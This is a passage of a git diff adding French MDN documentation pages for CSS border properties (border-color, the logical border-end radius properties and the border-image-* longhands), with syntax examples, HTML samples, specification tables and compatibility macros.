+   <td>{{Spec2('CSS1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.border-color")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les propriétés liées à la couleur de la bordure
+  <ul>
+   <li>{{cssxref("border")}},</li>
+   <li>{{cssxref("border-top-color")}},</li>
+   <li>{{cssxref("border-right-color")}},</li>
+   <li>{{cssxref("border-bottom-color")}},</li>
+   <li>{{cssxref("border-left-color")}},</li>
+  </ul>
+ </li>
+ <li>Les autres propriétés raccourcies liées à la bordure :
+  <ul>
+   <li>{{cssxref("border-width")}},</li>
+   <li>{{cssxref("border-style")}}.</li>
+  </ul>
+ </li>
+ <li><a href="/fr/docs/Web/HTML/Applying_color">Appliquer des couleurs sur des éléments HTML grâce à CSS</a></li>
+ <li>Le type de données {{cssxref("&lt;color&gt;")}}</li>
+ <li>Les autres propriétés relatives aux couleurs : {{cssxref("color")}}, {{cssxref("background-color")}}, {{cssxref("border-color")}}, {{cssxref("outline-color")}}, {{cssxref("text-decoration-color")}}, {{cssxref("text-emphasis-color")}}, {{cssxref("text-shadow")}}, {{cssxref("caret-color")}} et {{cssxref("column-rule-color")}}.</li>
+</ul>
diff --git a/files/fr/web/css/border-end-end-radius/index.html b/files/fr/web/css/border-end-end-radius/index.html
new file mode 100644
index 0000000000..45aa632ec6
--- /dev/null
+++ b/files/fr/web/css/border-end-end-radius/index.html
@@ -0,0 +1,107 @@
+---
+title: border-end-end-radius
+slug: Web/CSS/border-end-end-radius
+tags:
+  - CSS
+  - Experimental
+  - Propriété
+  - Propriété logique
+  - Reference
+translation_of: Web/CSS/border-end-end-radius
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propriété <strong><code>border-end-end-radius</code></strong> définit le rayon de courbure de la bordure pour un angle d'un élément. Cette propriété logique correspond à une propriété physique de rayon de bordure selon la directionalité du texte et le mode d'écriture. Autrement dit, cette propriété concerne un angle différent selon les valeurs des propriétés {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}.</p>
+
+<pre class="brush:css no-line-numbers">/* Valeurs de longueur */
+/* Type &lt;length&gt; */
+/* Avec une valeur, le coin sera circulaire */
+border-end-end-radius: 10px;
+border-end-end-radius: 1em;
+
+/* Avec deux valeurs, le coin sera une ellipse */
+border-end-end-radius: 1em 2em;
+
+/* Valeurs globales */
+border-end-end-radius: inherit;
+border-end-end-radius: initial;
+border-end-end-radius: unset;
+</pre>
+
+<p>Ainsi, avec un mode d'écriture <code>horizontal-tb</code>, cette propriété logique correspondra à la propriété physique {{CSSxRef("border-bottom-right-radius")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;length-percentage&gt;</code></dt>
+ <dd>Cette valeur exprime le rayon de courbure ou les demi-axes d'une ellipse. Pour les valeurs qui expriment une longueur, on peut utiliser n'importe quelle valeur du type de donnée {{cssxref("&lt;length&gt;")}}. Les pourcentages sur l'axe horizontal sont relatifs à la largeur de la boîte et à la hauteur de la boîte pour l'axe vertical. Les valeurs négatives sont invalides.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{CSSSyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div {
+  background-color: rebeccapurple;
+  width: 120px;
+  height: 120px;
+  border-end-end-radius: 10px;
+}
+
+.texteExemple {
+  writing-mode: vertical-rl;
+  padding: 10px;
+  background-color: #fff;
+  border-end-end-radius: 10px;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p class="texteExemple"&gt;Exemple&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", 140, 140)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-border-end-end-radius", "border-end-end-radius")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{CSSInfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.border-end-end-radius")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>La propriété physique correspondante : {{CSSxRef("border-bottom-right-radius")}}</li>
+ <li>{{CSSxRef("writing-mode")}}, {{CSSxRef("direction")}}, {{CSSxRef("text-orientation")}}</li>
+</ul>
diff --git a/files/fr/web/css/border-end-start-radius/index.html b/files/fr/web/css/border-end-start-radius/index.html
new file mode 100644
index 0000000000..5df2061bff
--- /dev/null
+++ b/files/fr/web/css/border-end-start-radius/index.html
@@ -0,0 +1,107 @@
+---
+title: border-end-start-radius
+slug: Web/CSS/border-end-start-radius
+tags:
+  - CSS
+  - Experimental
+  - Propriété
+  - Propriété logique
+  - Reference
+translation_of: Web/CSS/border-end-start-radius
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propriété <strong><code>border-end-start-radius</code></strong> définit le rayon de courbure de la bordure pour un angle d'un élément. Cette propriété logique correspond à une propriété physique de rayon de bordure selon la directionalité du texte et le mode d'écriture. Autrement dit, cette propriété concerne un angle différent selon les valeurs des propriétés {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}.</p>
+
+<pre class="brush:css no-line-numbers">/* Valeurs de longueur */
+/* Type &lt;length&gt; */
+/* Avec une valeur, le coin sera circulaire */
+border-end-start-radius: 10px;
+border-end-start-radius: 1em;
+
+/* Avec deux valeurs, le coin sera une ellipse */
+border-end-start-radius: 1em 2em;
+
+/* Valeurs globales */
+border-end-start-radius: inherit;
+border-end-start-radius: initial;
+border-end-start-radius: unset;
+</pre>
+
+<p>Ainsi, avec un mode d'écriture <code>horizontal-tb</code>, cette propriété logique correspondra à la propriété physique {{CSSxRef("border-top-right-radius")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;length-percentage&gt;</code></dt>
+ <dd>Cette valeur exprime le rayon de courbure ou les demi-axes d'une ellipse. Pour les valeurs qui expriment une longueur, on peut utiliser n'importe quelle valeur du type de donnée {{cssxref("&lt;length&gt;")}}. Les pourcentages sur l'axe horizontal sont relatifs à la largeur de la boîte et à la hauteur de la boîte pour l'axe vertical. Les valeurs négatives sont invalides.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{CSSSyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div {
+  background-color: rebeccapurple;
+  width: 120px;
+  height: 120px;
+  border-end-start-radius: 10px;
+}
+
+.texteExemple {
+  writing-mode: vertical-rl;
+  padding: 10px;
+  background-color: #fff;
+  border-end-start-radius: 10px;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p class="texteExemple"&gt;Exemple&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", 140, 140)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-border-end-start-radius", "border-end-start-radius")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{CSSInfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.border-end-start-radius")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>La propriété physique correspondante : {{CSSxRef("border-top-right-radius")}}</li>
+ <li>{{CSSxRef("writing-mode")}}, {{CSSxRef("direction")}}, {{CSSxRef("text-orientation")}}</li>
+</ul>
diff --git a/files/fr/web/css/border-image-outset/index.html b/files/fr/web/css/border-image-outset/index.html
new file mode 100644
index 0000000000..1f79067683
--- /dev/null
+++ b/files/fr/web/css/border-image-outset/index.html
@@ -0,0 +1,114 @@
+---
+title: border-image-outset
+slug: Web/CSS/border-image-outset
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/border-image-outset
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>border-image-outset</code></strong> définit la distance avec laquelle la bordure est déplacée par rapport à la boîte de bordure.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-image-outset.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Les fragments de l'image de bordure qui sont affichées en dehors de la boîte de bordure suite à l'utilisation de cette propriété n'entraîneront pas la création de barres de défilement. Ces zones ne capturent ni n'entraînent d'événements de pointeur par rapport à l'élément concerné.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* border-image-outset :                 */
+/* Une même valeur pour les quatre côtés */
+border-image-outset: 1.5;
+
+/* border-image-outset :              */
+/* Première valeur : côtés verticaux  */
+/* Seconde valeur : côtés horizontaux */
+border-image-outset: 1 1.2;
+
+/* border-image-outset :               */
+/* Première valeur : côté haut         */
+/* Deuxième valeur : côtés horizontaux */
+/* Troisième valeur : côté bas         */
+border-image-outset: 30px 2 45px;
+
+/* border-image-outset :          */
+/* Première valeur : côté haut    */
+/* Deuxième valeur : côté droit   */
+/* Troisième valeur : côté bas    */
+/* Quatrième valeur : côté gauche */
+border-image-outset: 7px 12px 14px 5px;
+
+/* Valeurs globales */
+border-image-outset: inherit;
+border-image-outset: initial;
+border-image-outset: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;length&gt;</code></dt>
+ <dd>Une valeur de longueur (cf. type {{cssxref("&lt;length&gt;")}}) qui indique l'espace duquel on peut dépasser de la boîte de bordure. Les valeurs négatives ne sont pas autorisées.</dd>
+ <dt><code>&lt;number&gt;</code></dt>
+ <dd>Une valeur numérique (cf. type {{cssxref("&lt;number&gt;")}}) qui sera multipliée par la valeur calculée de {{cssxref("border-width")}} afin de déterminer la longueur de l'espace duquel dépasser.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">p {
+  border-image-source: url("https://mdn.mozillademos.org/files/10470/border.png");
+  border-image-slice: 30;
+  border-image-width: 20px;
+  border-image-repeat: round;
+  border-image-outset: 10px;
+  padding: 40px;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy
+  eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua.
+  At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren,
+  no sea takimata sanctus est Lorem ipsum dolor sit amet.
+&lt;/p&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples', '480', '320')}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#the-border-image-outset', 'border-image-outset')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<div>{{cssinfo}}</div>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.border-image-outset")}}</p>
diff --git a/files/fr/web/css/border-image-repeat/index.html b/files/fr/web/css/border-image-repeat/index.html
new file mode 100644
index 0000000000..a790da5075
--- /dev/null
+++ b/files/fr/web/css/border-image-repeat/index.html
@@ -0,0 +1,108 @@
+---
+title: border-image-repeat
+slug: Web/CSS/border-image-repeat
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/border-image-repeat
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>border-image-repeat</code></strong> définit la façon dont les zones de l'image de bordure sont utilisée pour s'étendre sur chacun des côtés de la bordure. Cette propriété est multi-valuée : une valeur indiquera le comportement pour tous les côtés et deux valeurs indiqueront respectivement le comportement pour les côtés horizontaux et verticaux.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-image-repeat.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* border-image-repeat                      */
+/* Une valeur : s'applique à tous les côtés */
+border-image-repeat: stretch;
+
+/* border-image-repeat
+/* Première valeur : côtés horizontaux */
+/* Deuxième valeur : côtés verticaux   */
+border-image-repeat: round stretch;
+
+/* Valeurs globales */
+border-image-repeat: inherit;
+border-image-repeat: initial;
+border-image-repeat: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>stretch</code></dt>
+ <dd>Un mot-clé qui indique que la zone de l'image doit être étirée pour remplir l'espace entre les deux bordures.</dd>
+ <dt><code>repeat</code></dt>
+ <dd>Un mot-clé qui indique que la zone de l'image doit être répétée jusqu'à remplir l'espace entre les deux bordures.</dd>
+ <dt><code>round</code></dt>
+ <dd>Un mot-clé qui indique que la zone de l'image doit être répétée jusqu'à remplir l'espace entre les deux bordures. Si on ne peut pas remplir cet espace avec un nombre entier de motifs, ceux-ci seront étirés pour qu'il y ait une répétition entière et que l'espace soit parfaitement rempli.</dd>
+ <dt><code>space</code></dt>
+ <dd>Un mot-clé qui indique que la zone de l'image est répétée afin de remplir la zone entre les deux bordures. Si on ne peut pas remplir exactement la zone avec un nombre entier de motifs, l'espace restant sera répartis entre ces motifs.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">p {
+ border-image-source: url("https://mdn.mozillademos.org/files/10470/border.png");
+ border-image-slice: 30;
+ border-image-width: 20px;
+ border-image-repeat: round;
+ padding: 40px;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy
+  eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua.
+  At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren,
+  no sea takimata sanctus est Lorem ipsum dolor sit amet.
+&lt;/p&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples', '480', '320')}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#the-border-image-repeat', 'border-image-repeat')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<div>{{cssinfo}}</div>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.border-image-repeat")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://css-tricks.com/almanac/properties/b/border-image/">L'article de CSS Tricks sur <code>border-image</code> (en anglais)</a></li>
+</ul>
diff --git a/files/fr/web/css/border-image-slice/index.html b/files/fr/web/css/border-image-slice/index.html
new file mode 100644
index 0000000000..35136b7f07
--- /dev/null
+++ b/files/fr/web/css/border-image-slice/index.html
@@ -0,0 +1,132 @@
+---
+title: border-image-slice
+slug: Web/CSS/border-image-slice
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/border-image-slice
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>border-image-slice</code></strong> permet de découper l'image fournie via la propriété {{cssxref("border-image-source")}} en 9 régions : quatre pour les coins, quatre pour les côtés et une pour le milieu. Ces régions sont définies à l'aide de quatre valeurs mesurées depuis les bords vers l'intérieur de l'image.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-image-slice.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p><img alt="Les 9 zones définies par border-image-slice" src="/files/3814/border-image-slice.png" style="height: 132px; margin: 1px; padding: 1em; width: 250px;"></p>
+
+<p>Les quatre valeurs contrôlent les positions des lignes de découpe. Si certaines ne sont pas définies, leurs valeurs sont déduites des valeurs fournies (se référer à la section sur la syntaxe).</p>
+
+<p>La zone du milieu ne sera pas utilisée par la bordure même mais pourra être utilisée comme image d'arrière-plan si on utilise le mot-clé <code>fill</code>. Ce mot-clé peut être utilisé à n'importe quelle position dans la déclaration (avant, après ou entre les autres valeurs).</p>
+
+<p>Les propriétés {{cssxref("border-image-repeat")}}, {{cssxref("border-image-width")}}, {{cssxref("border-image-outset")}} définissent la façon dont ces images seront utilisées.</p>
+
+<p>La propriété raccourcie {{cssxref("border-image")}} peut éventuellement réinitialiser cette propriété avec sa valeur par défaut.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* border-image-slice :                       */
+/* Une valeur qui s'applique aux quatre côtés */
+border-image-slice: 30%;
+
+/* border-image-slice :                */
+/* Première valeur : côtés verticaux   */
+/* Deuxième valeur : côtés horizontaux */
+border-image-slice: 10% 30%;
+
+/* border-image-slice :                */
+/* Première valeur : côté haut         */
+/* Deuxième valeur : côtés horizontaux */
+/* Troisième valeur : côté bas         */
+border-image-slice: 30 30% 45;
+
+/* border-image-slice :           */
+/* Première valeur : côté haut    */
+/* Deuxième valeur : côté droit   */
+/* Troisième valeur : côté bas    */
+/* Quatrième valeur : côté gauche */
+border-image-slice: 7 12 14 5;
+
+/* border-image-slice: … fill          */
+/* Le mot-clé fill peut être intercalé */
+/* à n'importe quel endroit            */
+border-image-slice: 10% fill 7 12;
+
+/* Valeurs globales */
+border-image-slice: inherit;
+border-image-slice: initial;
+border-image-slice: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>slice</code></dt>
+ <dd>Une valeur de type {{cssxref("&lt;number&gt;")}} ou {{cssxref("&lt;percentage&gt;")}} qui indique le décalage entre le bord de l'image et la droite utilisée pour « découper » l'image. On notera qu'une valeur de type {{cssxref("&lt;length&gt;")}} n'est pas autorisée et est donc invalide. Une valeur de type {{cssxref("&lt;number&gt;")}} correspondra à des <em>pixels</em> pour les images matricielles et à des coordonnées pour les images vectorielles. Les valeurs de type {{cssxref("&lt;percentage&gt;")}} sont relatives à la hauteur de l'image pour les axes verticaux et à la largeur de l'image pour les axes horizontaux. Les valeurs négatives sont invalides et les valeurs dépassant les bornes sont ramenées à <code>100%</code>. Il est préférable d'utiliser des pourcentages pour les images vectorielles.</dd>
+ <dt><code>fill</code></dt>
+ <dd>Un mot-clé qui, s'il est présent, force la zone centrale de l'image à être affichée par dessus l'image d'arrière plan de l'élément. La hauteur et la largeur de l'image sont redimensionnées comme les tranches haute et gauche.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">p {
+ border-image-source: url("https://mdn.mozillademos.org/files/10470/border.png");
+ border-image-slice: 30;
+ border-image-width: 20px;
+ border-image-repeat: round;
+ padding: 40px;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy
+  eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua.
+  At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren,
+  no sea takimata sanctus est Lorem ipsum dolor sit amet.
+&lt;/p&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples', '480', '320')}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#the-border-image-slice', 'border-image-slice')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.border-image-slice")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/Propriétés_raccourcies#Quelques_cas_aux_limites_épineux">Description illustrée de la syntaxe multi-valuée</a></li>
+</ul>
diff --git a/files/fr/web/css/border-image-source/index.html b/files/fr/web/css/border-image-source/index.html
new file mode 100644
index 0000000000..ad49355e23
--- /dev/null
+++ b/files/fr/web/css/border-image-source/index.html
@@ -0,0 +1,89 @@
+---
+title: border-image-source
+slug: Web/CSS/border-image-source
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/border-image-source
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>border-image-source</code></strong> définit l'image (type {{cssxref("&lt;image&gt;")}}) qu'on souhaite utiliser pour mettre en forme la bordure. Si la valeur de cette propriété vaut <code>none</code>, ce sera la mise en forme définie par la propriété {{cssxref("border-style")}} qui sera utilisée.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-image-source.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Valeur avec un mot-clé */
+/* Ici, pas de border-image, */
+/* on utilise border-style */
+border-image-source: none;
+
+/* Valeur de type &lt;image&gt; */
+border-image-source: url(image.jpg);
+border-image-source: linear-gradient(to top, red, yellow);
+
+/* Valeurs globales */
+border-image-source: inherit;
+border-image-source: initial;
+border-image-source: unset;
+</pre>
+
+<p>La propriété {{cssxref("border-image-slice")}} peut être utilisée afin de diviser une image source en régions qui seront insérées dynamiquement pour constituer la bordure imagée finale.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>Cette valeur permet d'indiquer qu'aucune image ne doit être utilisée pour la bordure. Ce sera le style défini par la propriété {{cssxref("border-style")}} qui sera utilisé.</dd>
+ <dt><code>&lt;image&gt;</code></dt>
+ <dd>Une référence vers l'Image qu'on souhaite utiliser pour dessiner la bordure. Voir {{cssxref("&lt;image&gt;")}}.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Voir la page de la propriété raccourcie {{cssxref("border-image")}} et les différents exemples.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#the-border-image-source', 'border-image-source')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.border-image-source")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("border")}}</li>
+ <li>{{cssxref("outline")}}</li>
+ <li>{{cssxref("box-shadow")}}</li>
+ <li>{{cssxref("background-image")}}</li>
+ <li>{{cssxref("url()", "url()")}}</li>
+</ul>
diff --git a/files/fr/web/css/border-image-width/index.html b/files/fr/web/css/border-image-width/index.html
new file mode 100644
index 0000000000..d46f98e4e9
--- /dev/null
+++ b/files/fr/web/css/border-image-width/index.html
@@ -0,0 +1,127 @@
+---
+title: border-image-width
+slug: Web/CSS/border-image-width
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/border-image-width
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>border-image-width</code></strong> définit la largeur de la bordure imagée.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-image-width.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Si <code>border-image-width</code> est supérieur à {{cssxref("border-width")}}, la bordure imagée s'étendra au-delà du <em>padding</em> voire du contenu.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Valeur avec un mot-clé */
+border-image-width: auto;
+
+/* Longueur */
+/* Type &lt;length&gt; */
+border-image-width: 1rem;
+
+/* Valeur proportionnelle */
+/* Type &lt;percentage&gt; */
+border-image-width: 25%;
+
+/* Valeur numérique */
+/* Type &lt;number&gt; */
+border-image-width: 3;
+
+/* épaisseur verticale | horizontale */
+border-image-width: 2em 3em;
+
+/* haut | côtés horizontaux | bas */
+border-image-width: 5% 15% 10%;
+
